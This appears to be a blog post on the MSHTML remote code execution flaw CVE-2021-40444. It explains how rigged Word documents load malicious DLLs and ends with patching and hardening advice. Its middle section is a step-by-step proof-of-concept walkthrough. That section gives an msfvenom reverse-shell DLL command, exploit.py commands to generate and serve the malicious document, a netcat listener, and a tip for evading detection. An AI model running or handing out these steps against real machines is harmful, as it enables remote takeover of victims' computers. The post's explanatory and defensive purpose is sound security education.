MSHTML RCE Vulnerability and PoC Guide CVE-2021-40444

Imagine opening a Word document from an email that looks totally innocent—like a job resume or an invoice—and suddenly, hackers have full control of your computer. That's the nightmare CVE-2021-40444 brings to life. This flaw hides in MSHTML (aka Trident), the old web rendering engine from Internet Explorer that's still baked into Office apps like Word and Outlook. Back in September 2021, Microsoft sounded the alarm: attackers were already using it in the wild to sneak in tools like Cobalt Strike beacons. With a CVSS score of 7.9, it's no joke—hackers can strike over the network with little effort, though you do need to click "Enable Editing." It messes with your files (high impact) more than anything else.​​

What makes this scary is how long MSHTML sticks around. It's supported until at least 2029 in Edge's IE mode, so old systems in big companies are sitting ducks if they're not patched. It's not just Office—think Outlook emails, Skype chats, or even Visual Studio. We've seen phishing attacks targeting government offices and energy companies with fake resumes or bills designed to trick you into that one fatal click.​

How the Attack Actually Works

Picture this: a hacker rigs a .docx file with sneaky HTML inside. Tucked in a file called document.xml.rels is a URL pointing to their server. When Word renders it using MSHTML, it grabs a .cab file, unpacks a malicious DLL (often whipped up with msfvenom), registers it as an ActiveX control, and boom—shellcode runs right in Word's process. No macros needed, so it slips past those "disable macros" rules everyone sets. Real attacks encode command servers in those rels files, use VirtualAlloc to stage code in memory, and kick off threads to stick around.​​

Campaigns like MerkSpy in 2024 chained this with droppers for spying, and samples popped up even before patches in August 2021—classic zero-day vibes. Hackers love it because it's reliable across Windows 7 to 11, and early AV missed it. The lockedbyte GitHub PoC made it dead simple for testers to play with.​​

Step-by-Step: Building and Running the PoC

Safe Security's report walks through a real demo using that lockedbyte repo—perfect for ethical hacking or red team practice. Here's how it goes down, broken into bite-sized steps:

• Get Your Lab Ready: Grab the repo with git clone https://github.com/lockedbyte/CVE-2021-40444 and install Icav: sudo apt install icab. (Icav packs up the CAB file for ActiveX delivery.)​

• Make the Evil Payload: Fire up msfvenom for a reverse shell DLL: msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=your-ip LPORT=1234 -f dll -o word.dll. Then generate the booby-trapped DOCX: python3 exploit.py generate word.dll http://your-ip. You'll get out/document.docx and srv/word.cab.​

• Serve It Up: From the out folder, run python3 -m http.server 8080 to host the doc. On the attacker side: python3 exploit.py host 80. Trick your test victim into grabbing and opening the DOCX.​

• Watch the Magic (or Mayhem): Victim hits "Enable Editing"—MSHTML phones home to word.html, snags word.cab, loads the DLL, and connects back (fire up nc -lvnp 1234). Server logs light up with OPTIONS and GET requests. Shell access lands in the victim's user context.​

On patched machines, Defender flags it as "Suspicious Cpl File Execution" after build 1.349.22.0. Tweak ports or add stagers to dodge basic checks.​​

Locking It Down: What You Can Do

Microsoft dropped patches in September 2021 (KB5005565 and friends), but before that, they pushed workarounds. Here's the practical playbook:

• Toughen the Registry: Block fresh ActiveX installs by tweaking HKCU\Software\Microsoft\Internet Explorer\Main\DeployedActiveXInstallBase with the right DWORD values.​

• Stick to Protected View: Make sure Office sandboxes internet downloads—it's default, but double-check those group policies.​

• Lean on Defenses: Update Defender to 1.349.22.0+, where Malwarebytes joins in nuking CABs, DLLs, and Cobalt Strike.​

• Enterprise Moves: Fire up Application Guard, set ASR rules to block Office spawning kids, and filter .cab downloads. Patch everything, ditch IE mode if you don't need it.​

If you're building apps (like those AWS Lambda setups), scan uploads with something like Rekognition or render in a sandbox.

Why It Still Matters in 2026

Even now, this bug fuels phishing waves—Fortinet and Arctic Wolf called out spikes in India and North America through 2024. Old Edge habits and patchy enterprise updates keep it alive; NVD still marks it exploitable. Red teams run it via Picus or Atomic Red Team to stay sharp. Keep an eye on MSRC for twists.​

As someone knee-deep in backend and cloud work, weaving security stories like this into Priheni Blogs helps everyone level up—patch fast, think like an attacker, and build safer from the start.